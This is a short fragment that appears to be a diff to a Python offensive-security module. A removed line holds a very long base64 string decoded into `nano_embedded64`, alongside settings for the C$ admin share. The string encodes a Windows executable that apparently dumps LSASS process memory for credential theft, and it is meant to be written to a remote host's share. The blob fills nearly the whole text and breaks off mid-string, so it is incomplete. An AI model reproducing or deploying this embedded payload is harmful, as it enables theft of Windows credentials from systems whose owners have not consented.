self.share = "C$" self.tmp_share = self.tmp_dir.split(":")[1] - self.nano_embedded64 = base64.b64decode("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